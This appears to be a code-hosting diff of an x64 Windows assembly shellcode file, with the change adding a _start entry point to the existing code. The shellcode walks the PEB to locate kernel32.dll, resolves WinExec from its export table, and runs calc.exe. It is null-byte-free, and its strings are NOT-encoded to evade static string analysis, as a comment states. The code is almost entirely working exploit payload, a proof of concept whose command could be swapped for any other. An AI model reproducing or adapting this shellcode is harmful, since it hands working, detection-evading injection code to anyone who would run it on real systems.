|
1 |
| -xor rdi, rdi ; RDI = 0x0 |
2 |
| -mul rdi ; RAX&RDX =0x0 |
3 |
| -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB |
4 |
| -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR |
5 |
| -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll |
6 |
| -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll |
7 |
| -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll |
8 |
| -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) |
9 |
| -mov r8, rbx ; RBX & R8 = &kernel32.dll |
10 |
| - |
11 |
| -; Get kernel32.dll ExportTable Address |
12 |
| -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader |
13 |
| -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader |
14 |
| -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add |
15 |
| -add cx, 0x88ff |
16 |
| -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 |
17 |
| -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable |
18 |
| -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable |
19 |
| - |
20 |
| -; Get &AddressTable from Kernel32.dll ExportTable |
21 |
| -xor r10, r10 |
22 |
| -mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable |
23 |
| -add r10, r8 ; R10 = &AddressTable |
24 |
| - |
25 |
| -; Get &NamePointerTable from Kernel32.dll ExportTable |
26 |
| -xor r11, r11 |
27 |
| -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable |
28 |
| -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) |
29 |
| - |
30 |
| -; Get &OrdinalTable from Kernel32.dll ExportTable |
31 |
| -xor r12, r12 |
32 |
| -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable |
33 |
| -add r12, r8 ; R12 = &OrdinalTable |
34 |
| - |
35 |
| -jmp short apis |
36 |
| - |
37 |
| -; Get the address of the API from the Kernel32.dll ExportTable |
38 |
| -getapiaddr: |
39 |
| -pop rbx ; save the return address for ret 2 caller after API address is found |
40 |
| -pop rcx ; Get the string length counter from stack |
41 |
| -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string |
42 |
| -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack |
43 |
| -push rcx ; push the string length counter to stack |
44 |
| -loop: |
45 |
| -mov rcx, [rsp] ; reset the string length counter from the stack |
46 |
| -xor rdi,rdi ; Clear RDI for setting up string name retrieval |
47 |
| -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] |
48 |
| -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll |
49 |
| -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) |
50 |
| -repe cmpsb ; Compare strings at RDI & RSI |
51 |
| -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API |
52 |
| -incloop: |
53 |
| -inc rax |
54 |
| -jmp short loop |
55 |
| - |
56 |
| -; Find the address of GetProcAddress by using the last value of the Counter |
57 |
| -resolveaddr: |
58 |
| -pop rcx ; remove string length counter from top of stack |
59 |
| -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API> |
60 |
| -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] |
61 |
| -add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress |
62 |
| -push rbx ; place the return address from the api string call back on the top of the stack |
63 |
| -ret ; return to API caller |
64 |
| - |
65 |
| -apis: ; API Names to resolve addresses |
66 |
| -; WinExec | String length : 7 |
67 |
| -xor rcx, rcx |
68 |
| -add cl, 0x7 ; String length for compare string |
69 |
| -mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec |
70 |
| -not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis |
71 |
| -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll |
72 |
| -push rax |
73 |
| -push rcx ; push the string length counter to stack |
74 |
| -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable |
75 |
| -mov r14, rax ; R14 = Kernel32.WinExec Address |
76 |
| - |
77 |
| -; UINT WinExec( |
78 |
| -; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 |
79 |
| -; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL |
80 |
| -; ); |
81 |
| -xor rcx, rcx |
82 |
| -mul rcx ; RAX & RDX & RCX = 0x0 |
83 |
| -; calc.exe | String length : 8 |
84 |
| -push rax ; Null terminate string on stack |
85 |
| -mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" |
86 |
| -not rax |
87 |
| -;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 |
88 |
| -push rax ; RSP = "calc.exe",0x0 |
89 |
| -mov rcx, rsp ; RCX = "calc.exe",0x0 |
90 |
| -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL |
91 |
| -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) |
| 1 | +[bits 64] |
| 2 | + |
| 3 | +section .text: |
| 4 | + global _start |
| 5 | + |
| 6 | +_start: |
| 7 | +xor rdi, rdi ; RDI = 0x0 |
| 8 | +mul rdi ; RAX&RDX =0x0 |
| 9 | +mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB |
| 10 | +mov rbx, [rbx+0x18] ; RBX = Address_of_LDR |
| 11 | +mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll |
| 12 | +mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll |
| 13 | +mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll |
| 14 | +mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) |
| 15 | +mov r8, rbx ; RBX & R8 = &kernel32.dll |
| 16 | + |
| 17 | +; Get kernel32.dll ExportTable Address |
| 18 | +mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader |
| 19 | +add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader |
| 20 | +xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add |
| 21 | +add cx, 0x88ff |
| 22 | +shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 |
| 23 | +mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable |
| 24 | +add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable |
| 25 | + |
| 26 | +; Get &AddressTable from Kernel32.dll ExportTable |
| 27 | +xor r10, r10 |
| 28 | +mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable |
| 29 | +add r10, r8 ; R10 = &AddressTable |
| 30 | + |
| 31 | +; Get &NamePointerTable from Kernel32.dll ExportTable |
| 32 | +xor r11, r11 |
| 33 | +mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable |
| 34 | +add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) |
| 35 | + |
| 36 | +; Get &OrdinalTable from Kernel32.dll ExportTable |
| 37 | +xor r12, r12 |
| 38 | +mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable |
| 39 | +add r12, r8 ; R12 = &OrdinalTable |
| 40 | + |
| 41 | +jmp short apis |
| 42 | + |
| 43 | +; Get the address of the API from the Kernel32.dll ExportTable |
| 44 | +getapiaddr: |
| 45 | +pop rbx ; save the return address for ret 2 caller after API address is found |
| 46 | +pop rcx ; Get the string length counter from stack |
| 47 | +xor rax, rax ; Setup Counter for resolving the API Address after finding the name string |
| 48 | +mov rdx, rsp ; RDX = Address of API Name String to match on the Stack |
| 49 | +push rcx ; push the string length counter to stack |
| 50 | +loop: |
| 51 | +mov rcx, [rsp] ; reset the string length counter from the stack |
| 52 | +xor rdi,rdi ; Clear RDI for setting up string name retrieval |
| 53 | +mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] |
| 54 | +add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll |
| 55 | +mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) |
| 56 | +repe cmpsb ; Compare strings at RDI & RSI |
| 57 | +je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API |
| 58 | +incloop: |
| 59 | +inc rax |
| 60 | +jmp short loop |
| 61 | + |
| 62 | +; Find the address of GetProcAddress by using the last value of the Counter |
| 63 | +resolveaddr: |
| 64 | +pop rcx ; remove string length counter from top of stack |
| 65 | +mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API> |
| 66 | +mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] |
| 67 | +add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress |
| 68 | +push rbx ; place the return address from the api string call back on the top of the stack |
| 69 | +ret ; return to API caller |
| 70 | + |
| 71 | +apis: ; API Names to resolve addresses |
| 72 | +; WinExec | String length : 7 |
| 73 | +xor rcx, rcx |
| 74 | +add cl, 0x7 ; String length for compare string |
| 75 | +mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec |
| 76 | +not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis |
| 77 | +shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll |
| 78 | +push rax |
| 79 | +push rcx ; push the string length counter to stack |
| 80 | +call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable |
| 81 | +mov r14, rax ; R14 = Kernel32.WinExec Address |
| 82 | + |
| 83 | +; UINT WinExec( |
| 84 | +; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 |
| 85 | +; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL |
| 86 | +; ); |
| 87 | +xor rcx, rcx |
| 88 | +mul rcx ; RAX & RDX & RCX = 0x0 |
| 89 | +; calc.exe | String length : 8 |
| 90 | +push rax ; Null terminate string on stack |
| 91 | +mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" |
| 92 | +not rax |
| 93 | +;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 |
| 94 | +push rax ; RSP = "calc.exe",0x0 |
| 95 | +mov rcx, rsp ; RCX = "calc.exe",0x0 |
| 96 | +inc rdx ; RDX = 0x1 = SW_SHOWNORMAL |
| 97 | +sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) |
92 | 98 | call r14 ; Call WinExec("calc.exe", SW_HIDE)
|
0 commit comments